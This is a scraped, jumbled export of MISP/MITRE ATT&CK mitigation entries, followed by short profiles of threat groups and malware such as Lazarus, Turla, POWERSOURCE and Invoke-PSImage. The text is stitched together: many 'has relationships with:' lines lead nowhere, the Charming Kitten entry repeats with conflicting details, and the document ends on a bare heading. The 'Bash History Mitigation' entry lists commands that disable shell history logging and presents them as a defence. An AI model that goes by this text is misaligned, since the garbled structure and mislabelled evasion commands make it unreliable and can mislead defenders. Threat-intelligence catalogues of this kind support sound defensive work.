Ensure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems.

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="Shared Webroot Mitigation - T1051"

Shared Webroot Mitigation - T1051 has relationships with:

**Scheduled Task Mitigation - T1053**

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)

Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at \HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl\</code>. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)

Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)

Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation:
Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

### Standard Cryptographic Protocol Mitigation - T1032

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)

File Deletion Mitigation - T1107 has relationships with:

**Data Compressed Mitigation - T1002**

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

If network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="Data Compressed Mitigation - T1002"

Data Compressed Mitigation - T1002 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"

**AppleScript Mitigation - T1155**

Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing.

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="AppleScript Mitigation - T1155"

AppleScript Mitigation - T1155 has relationships with:

**Mshta Mitigation - T1170**

Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer which have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="Mshta Mitigation - T1170"

Mshta Mitigation - T1170 has relationships with:
Authentication Package Mitigation - T1131

Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)

The tag is: <code>misp-galaxy:mitre-enterprise-attack-course-of-action="Authentication Package Mitigation - T1131"</code>

Authentication Package Mitigation - T1131 has relationships with:

Signed Binary Proxy Execution Mitigation - T1218

Certain signed binaries that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.

The tag is: <code>misp-galaxy:mitre-enterprise-attack-course-of-action="Signed Binary Proxy Execution Mitigation - T1218"</code>

Signed Binary Proxy Execution Mitigation - T1218 has relationships with:

Bash History Mitigation - T1139

There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands: <code>set +o history</code> and <code>set -o history</code> to start logging again; <code>unset HISTFILE</code> being added to a user's .bashrc file; and <code>ln -s /dev/null ~/.bash_history</code> to write commands to <code>/dev/null</code> instead.

The tag is: <code>misp-galaxy:mitre-enterprise-attack-course-of-action="Bash History Mitigation - T1139"</code>

Bash History Mitigation - T1139 has relationships with:

Port Monitors Mitigation - T1013

Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="Port Monitors Mitigation - T1013"

Port Monitors Mitigation - T1013 has relationships with:

• mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Port Monitors - T1013" with estimative-language:likelihood-probability="almost-certain"

Image File Execution Options Injection Mitigation - T1183

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Identify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="Image File Execution Options Injection Mitigation - T1183"

Image File Execution Options Injection Mitigation - T1183 has relationships with:

• mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Image File Execution Options Injection - T1183" with estimative-language:likelihood-probability="almost-certain"

User Execution Mitigation - T1204

Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.

If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious files in Obfuscated Files or Information.

If a link is being visited by a user, network intrusion prevention systems and systems designed to
scan and remove malicious downloads can be used to block activity. Solutions can be signature and
behavior based, but adversaries may construct files in a way to avoid these systems.

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="User Execution Mitigation - T1204"

User Execution Mitigation - T1204 has relationships with:

**LC_LOAD_DYLIB Addition Mitigation - T1161**

Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn't included as part of an update, it should be investigated.

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="LC_LOAD_DYLIB Addition Mitigation - T1161"

LC_LOAD_DYLIB Addition Mitigation - T1161 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="LC_LOAD_DYLIB Addition - T1161" with estimative-language:likelihood-probability="almost-certain"

**Man in the Browser Mitigation - T1185**

Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and Bypass User Account Control opportunities can limit the exposure to this technique.

Close all browser sessions regularly and when they are no longer needed.

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="Man in the Browser Mitigation - T1185"

Man in the Browser Mitigation - T1185 has relationships with:

**Screensaver Mitigation - T1180**

Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)

Accessibility Features Mitigation - T1015 has relationships with:

Bootkit Mitigation - T1067

Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="Bootkit Mitigation - T1067"

Bootkit Mitigation - T1067 has relationships with:

Valid Accounts Mitigation - T1078

Take measures to detect or prevent techniques such as Credential Dumping or installation of keyloggers to acquire credentials through Input Capture. Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use
of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access). Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege)

File and Directory Discovery Mitigation - T1083 has relationships with:

• mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Kernel Modules and Extensions Mitigation - T1215

Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.
LKM and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.

Application whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)

The tag is: `misp-galaxy:mitre-enterprise-attack-course-of-action="Kernel Modules and Extensions Mitigation - T1215"`

Kernel Modules and Extensions Mitigation - T1215 has relationships with:

**File System Permissions Weakness Mitigation - T1044**

Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)

Turn off UAC's privilege elevation for standard users

```plaintext
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
```
to automatically deny elevation requests, add:
```plaintext
"ConsentPromptBehaviorUser"=dword:00000000
```
(Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding:
```plaintext
"EnableInstallerDetection"=dword:00000001
```
This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add:
```plaintext
"EnableInstallerDetection"=dword:00000000
```
This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.

The tag is: `misp-galaxy:mitre-enterprise-attack-course-of-action="File System Permissions Weakness Mitigation - T1044"`

File System Permissions Weakness Mitigation - T1044 has relationships with:

Service Execution Mitigation - T1035

Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.

Identify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. Supply Chain Compromise Mitigation - T1195

Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.

Leverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012): * Uniquely Identify Supply Chain Elements, Processes, and Actors * Limit Access and Exposure within the Supply Chain * Establish and Maintain the Provenance of Elements, Processes, Tools, and Data * Share Information within Strict Limits * Perform SCRM Awareness and Training * Use Defensive Design for Systems, Elements, and Processes * Perform Continuous Integrator Review * Strengthen Delivery Mechanisms * Assure Sustainment Activities and Processes * Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle
Supply Chain Compromise Mitigation - T1195 has relationships with:

**Change Default File Association Mitigation - T1042**

Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft’s best practices for file associations. (Citation: MSDN File Associations)

Identify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JP CERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Change Default File Association Mitigation - T1042 has relationships with:

**Peripheral Device Discovery Mitigation - T1120**

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JP CERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Peripheral Device Discovery Mitigation - T1120 has relationships with:

**Control Panel Items Mitigation - T1196**

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly.
Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.

Restrict storage and execution of Control Panel items to protected directories, such as C:\Windows, rather than user directories.

Index known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.

Consider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)

Hypervisor Mitigation - T1062

Prevent adversary access to privileged accounts necessary to install a hypervisor.

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="Hypervisor Mitigation - T1062"

Hypervisor Mitigation - T1062 has relationships with:
Automated Collection Mitigation - T1119

Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through Input Capture and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through Brute Force techniques.

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

• mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"

Application Shimming Mitigation - T1138

There currently aren’t a lot of ways to mitigate application shimming. Disabling the Shim Engine isn’t recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the "auto-elevate" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC.

Changing UAC settings to "Always Notify" will give the user more visibility when UAC elevation is
requested, however, this option will not be popular among users due to the constant UAC interruptions.

The tag is: `misp-galaxy:mitre-enterprise-attack-course-of-action="Application Shimming Mitigation - T1138"`

Application Shimming Mitigation - T1138 has relationships with:

**Local Job Scheduling Mitigation - T1168**

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.

The tag is: `misp-galaxy:mitre-enterprise-attack-course-of-action="Local Job Scheduling Mitigation - T1168"`

Local Job Scheduling Mitigation - T1168 has relationships with:

- mitigates: `misp-galaxy:mitre-enterprise-attack-attack-pattern="Local Job Scheduling - T1168"` with estimative-language:likelihood-probability="almost-certain"

**Hidden Files and Directories Mitigation - T1158**

Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.

The tag is: `misp-galaxy:mitre-enterprise-attack-course-of-action="Hidden Files and Directories Mitigation - T1158"`

Hidden Files and Directories Mitigation - T1158 has relationships with:

- mitigates: `misp-galaxy:mitre-enterprise-attack-attack-pattern="Hidden Files and Directories - T1158"` with estimative-language:likelihood-probability="almost-certain"

**Space after Filename Mitigation - T1151**

Prevent files from having a trailing space after the extension.

The tag is: `misp-galaxy:mitre-enterprise-attack-course-of-action="Space after Filename Mitigation - T1151"`

Space after Filename Mitigation - T1151 has relationships with:

**Office Application Startup Mitigation - T1137**

Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros. (Citation: TechNet Office Macro Security)

For the Office Test method, create the Registry key used to execute it and set the permissions to "Read Control" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)

Disable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)

The tag is: `misp-galaxy:mitre-enterprise-attack-course-of-action="Office Application Startup Mitigation - T1137"`

Office Application Startup Mitigation - T1137 has relationships with:

Exploitation for Credential Access Mitigation - T1212 has relationships with:

**Trusted Relationship Mitigation - T1199**

Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Yet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.

The tag is: `misp-galaxy:mitre-enterprise-attack-course-of-action="Trusted Relationship Mitigation - T1199"`

Trusted Relationship Mitigation - T1199 has relationships with:

**Sudo Caching Mitigation - T1206**

Setting the `<code>timestamp_timeout</code>` to 0 will require the user to input their password every time `<code>sudo</code>` is executed. Similarly, ensuring that the `<code>tty_tickets</code>` setting is enabled will prevent this leakage across tty sessions.

The tag is: `misp-galaxy:mitre-enterprise-attack-course-of-action="Sudo Caching Mitigation - T1206"`

Sudo Caching Mitigation - T1206 has relationships with:

**Third-party Software Mitigation - T1072**

Evaluate the security of third-party software that could be used to deploy or execute programs. Ensure that access to management systems for deployment systems is limited, monitored, and secure. Have a strict approval policy for use of deployment systems.

Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation for Privilege Escalation.

If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.

The tag is: `misp-galaxy:mitre-enterprise-attack-course-of-action="Third-party Software Mitigation - T1072"`
Third-party Software Mitigation - T1072 has relationships with:

**Video Capture Mitigation - T1125**

Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.

Identify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="Video Capture Mitigation - T1125"

Video Capture Mitigation - T1125 has relationships with:

**Extra Window Memory Injection Mitigation - T1181**

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. Exfiltration Over Alternative Protocol Mitigation - T1048 has relationships with:

Private Keys Mitigation - T1145

Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of Valid Accounts.

The tag is: misp-galaxy:mitre-enterprise-attack-course-of-action="Private Keys Mitigation - T1145"

Private Keys Mitigation - T1145 has relationships with:

Rc.common Mitigation - T1163

Limit privileges of user accounts so only authorized users can edit the rc.common file.
Access Token Manipulation Mitigation - T1134

Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.

Any user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of Valid Accounts. Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)

Also limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.

Hidden Window Mitigation - T1143

Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.

Remote Desktop Protocol Mitigation - T1076

Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote
Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure) Do not leave RDP accessible from the internet. Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server. (Citation: Windows RDP Sessions)

**Process Doppelgänging Mitigation - T1186**

This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although Process Doppelgänging may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Process Doppelgänging Mitigation - T1186 has relationships with:

**Data Obfuscation Mitigation - T1001**

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

DragonOK - G0017

DragonOK is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat,
NFlog, and NewCT. (Citation: New DragonOK)

Charming Kitten - G0058

Charming Kitten is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. Charming Kitten usually tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, Rocket Kitten, resulting in reporting that may not distinguish between the two groups' activities. (Citation: ClearSky Charming Kitten Dec 2017)

### POWERSOURCE - S0145

POWERSOURCE is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation: FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)

Invoke-PSImage - S0231

Invoke-PSImage takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)

Cobalt Group - G0080

[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims. (Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Group IB Cobalt Aug 2017) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008). Deep Panda - G0009

Deep Panda ([https://attack.mitre.org/groups/G0009](https://attack.mitre.org/groups/G0009)) is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to Deep Panda ([https://attack.mitre.org/groups/G0009](https://attack.mitre.org/groups/G0009)). (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) Deep Panda ([https://attack.mitre.org/groups/G0009](https://attack.mitre.org/groups/G0009)) also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine) Some analysts track Deep Panda ([https://attack.mitre.org/groups/G0009](https://attack.mitre.org/groups/G0009)) and [APT19](https://attack.mitre.org/groups/G0073) as the same group, but it is unclear from open source information if the groups are the same. Lazarus Group - G0032

[Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government. The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk)

North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea. (Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff, (Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.

Charming Kitten - G0058

[Charming Kitten](https://attack.mitre.org/groups/G0058) is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. [Charming Kitten](https://attack.mitre.org/groups/G0058) usually tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group’s TTPs overlap extensively with another group, [Magic Hound](https://attack.mitre.org/groups/G0059), resulting in reporting that may not distinguish between the two groups' activities. (Citation: ClearSky Charming Kitten Dec 2017)

Turla - G0010

[Turla](https://attack.mitre.org/groups/G0010) is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. [Turla](https://attack.mitre.org/groups/G0010) is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware. [Turla](https://attack.mitre.org/groups/G0010)’s espionage platform is mainly used against Windows machines, but has also been seen used against macOS and Linux machines. (Citation: Kaspersky Turla) (Citation: ESET Gazer Aug 2017) (Citation: CrowdStrike VENOMOUS BEAR) (Citation: ESET Turla Mosquito Jan 2018)

APT32 - G0050

[APT32](https://attack.mitre.org/groups/G0050) is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based. APT28 - G0007

